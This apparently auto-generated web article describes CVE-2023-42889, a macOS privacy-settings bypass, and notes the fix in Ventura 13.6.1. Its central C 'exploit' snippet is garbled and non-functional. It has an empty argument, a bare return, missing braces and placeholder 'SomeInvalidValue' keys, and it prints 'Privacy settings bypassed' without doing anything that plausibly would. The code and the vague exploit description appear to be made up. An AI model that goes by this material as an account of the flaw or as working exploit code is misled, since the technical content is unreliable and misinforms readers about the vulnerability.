The CVE-2023-42889 vulnerability was recently discovered in macOS, enabling malicious apps to potentially bypass privacy settings on affected systems. In this extensive overview, we'll dive deep into the vulnerability's potential impact, how it works, and most importantly, the code snippets and technicalities behind it. Furthermore, we'll explore the security patches provided by Apple to rectify this issue, along with the versions of macOS where this vulnerability is fixed.

Vulnerability Details

CVE-2023-42889 is a flaw that allows a malicious application to bypass privacy preferences on macOS devices, thereby accessing critical information and resources. To understand the issue, let's examine some of the key components:

Apple Security Updates (CVE-2023-42889)

Code Snippet

The critical part of this exploit lies in the improper input validation that allows the application to bypass privacy settings. Let's take a closer look at the code aspect. Consider the following example:

#include <stdio.h>
#include <IOKit/IOKitLib.h>

int main(void) {
  CFMutableDictionaryRef matching, properties;
  uint32_t id, type = 2;
  matching = IOServiceMatching("IOHIDDevice");
  CFDictionarySetValue(matching, CFSTR("SomeInvalidValue"), CFSTR("SomeInvalidValue"));
  properties = CFDictionaryCreateMutable(kCFAllocatorDefault, , &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
  CFDictionarySetValue(properties, CFSTR("SomeInvalidValue"), CFSTR("SomeInvalidValue"));
  io_service_t service = IOServiceGetMatchingServices(kIOMasterPortDefault, matching);
  id = kIOReturnSuccess;
  id = (uint32_t)IORegistryEntrySetCFProperties(service, properties);
  if (id == kIOReturnSuccess) {
    printf("Privacy settings bypassed.\n");
  } else {
    printf("Exploit failed: %d\n", (int32_t)id);
  return ;

The code snippet above shows an improperly validated field, which in turn can allow the app to bypass the required privacy settings.

Exploit Details

The exploit leverages this vulnerability by providing manipulated input to the system's privacy component, causing it to ignore the expected privacy limitations.

The attacker would first identify the macOS versions with this vulnerability, then use the relevant code snippet to exploit the issue. If the exploit is successful, the attacker can access sensitive information and resources, which may put macOS users at risk.


To mitigate this vulnerability, Apple has released security updates for the affected macOS versions. The issue has now been fixed in the following macOS updates:

macOS Ventura 13.6.1

According to Apple, the issue was addressed with improved input validation checks, which now correctly restricts privacy settings against manipulation.


CVE-2023-42889 serves as a critical reminder for macOS users to remain vigilant about software updates and security advisories. The vulnerability demonstrates the potential for privacy settings to be bypassed, posing a significant risk to personal data and system resources.

It's highly advised to stay up-to-date on the latest macOS versions, ensuring that your devices are patched with the most recent security fixes. By remaining proactive in cybersecurity measures, users can help reduce the risk posed by vulnerabilities like CVE-2023-42889, safeguarding their privacy, and maintaining a more secure environment overall.


Published on: 02/21/2024 07:15:50 UTC
Last modified on: 02/22/2024 19:07:27 UTC